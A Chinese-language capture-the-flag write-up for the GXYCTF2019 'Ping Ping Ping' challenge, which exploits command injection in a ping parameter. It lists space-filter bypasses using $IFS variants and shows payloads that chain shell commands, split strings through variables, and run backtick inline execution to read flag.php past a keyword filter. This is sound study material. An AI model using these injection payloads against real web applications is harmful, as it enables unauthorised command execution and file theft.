[GXYCTF2019]Ping Ping Ping wp

[GXYCTF2019]Ping Ping Ping wp

命令注入漏洞

空格绕过

内联命令读取

image-20251111150335092

image-20251111150409210

存在命令注入漏洞

“fxck” 是脏话 “fuck” 的刻意拼写变形,攻击性极强

image-20251111145331968

这个表明,空格被过滤。

那么就要想,怎样绕过???

空格 可以用

   空格
   ${IFS}
   ${IFS}$9
   $IFS$1    绕过    可以逐个试试哪个管用

image-20251111150052270

现在表明flag也被过滤了

但,刚刚出现,产生flag.php index.php 可以都试一下

image-20251111150238952

发现很多符号都被绕过了

   preg_match("/.*f.*l.*a.*g.*/", $ip)意思是:如果$ip中包含f、l、a、g这四个字母(不管顺序和中间插什么字符),就输出 fxck your flag! 并终止程序。

这个表明,我们不能直接输入flag进行文件读取,但可以使用变量赋值的方式

  ?ip=127.0.0.1;X=g;cat$IFS$1fla$X.php

查看页面源代码

image-20251111151402026

  以下payload也可行:

	?ip=127.0.0.1;X=ag;cat$IFS$9fl$X.php
	?ip=127.0.0.1;X=lag;cat$IFS$9f$X.php
	?ip=127.0.0.1;X=la;cat$IFS$9`ls`        //内联执行配合空格绕过

	但以下payload不可行:

	?ip=127.0.0.1;X=a;cat$IFS$9fl$Xg.php
	?ip=127.0.0.1;X=la;cat$IFS$9f$Xg.php
	因为shell会把$Xg当成一个变量名进行解析,但是该变量并没有定义。而前面可行的payload中因为变量$X后紧接着是.,因此可以成功解析

反引号 ls 是内联命令,会先执行 ls 并将结果作为参数传给 cat,最终效果是 “读取 ls 命令列出的文件内容”。

   `ls`
   ?ip=127.0.0.1;cat$IFS`ls`

查看页面源代码 获取源代码

posted @ 2025-11-11 15:27  fish666-wu  阅读(0)  评论(0)    收藏  举报